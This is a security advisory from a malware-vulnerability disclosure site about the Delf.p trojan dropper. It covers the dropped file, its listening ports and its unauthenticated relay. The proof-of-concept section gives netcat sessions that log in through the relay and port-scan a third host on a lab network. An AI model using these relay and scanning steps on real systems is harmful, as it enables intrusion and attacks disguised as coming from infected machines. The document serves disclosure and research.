Original source: https://malvuln.com/advisory/b02cc578d2e7f24fb67ec0afc42a9e13.txt
Contact:
Media: twitter.com/malvuln
Threat: Trojan-Dropper.Win32.Delf.p
Vulnerability: Missing Authentication
Description: Delf.p drops an executable named "mmtask.exe" under
system32 dir, it listens on TCP ports 3080,1180,1181,1182,1183 and
UDP ports 53, 52304. The malware accepts TCP connections, connects
to a destination, and relays requests from the original connection
to the destination and then back to the origination system.
Attackers who can reach an infected system may launch attacks or
port scan third party systems and will appear as the attacks
originated from that infected host. The malware can make
connections to various protocols like TELNET, HTTP, SSH, POP3
etc
Type: PE32
MD5: b02cc578d2e7f24fb67ec0afc42a9e13
Vuln ID: MVID-2021-0132
Dropped files: mmtask.exe
Disclosure: 03/16/2021
Exploit/PoC:
nc64.exe MALWARE_HOST 1183
220 WinGate Engine FTP Gateway ready
USER root@TARGET_IP:21
331 Please specify the password.
PASS ""
230 Login successful.
nc64.exe MALWARE_HOST 1183
USER root@TARGET_IP:80
GET / HTTP/1.1
HTTP/1.0 200 OK
TCP port 1181 port scanning:
Test port 22
nc64.exe 192.168.88.128 1181
√ √ ²cisco>192.168.88.129:22
192.168.88.129:22
Connecting to host 192.168.88.129...Connected
SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8
Port 22 open
Test port 23
nc64.exe 192.168.88.128 1181
√ √ ²cisco>192.168.88.129:23
192.168.88.129:23
Connecting to host 192.168.88.129...Connection refused by Remote
Host
Port 23 closed
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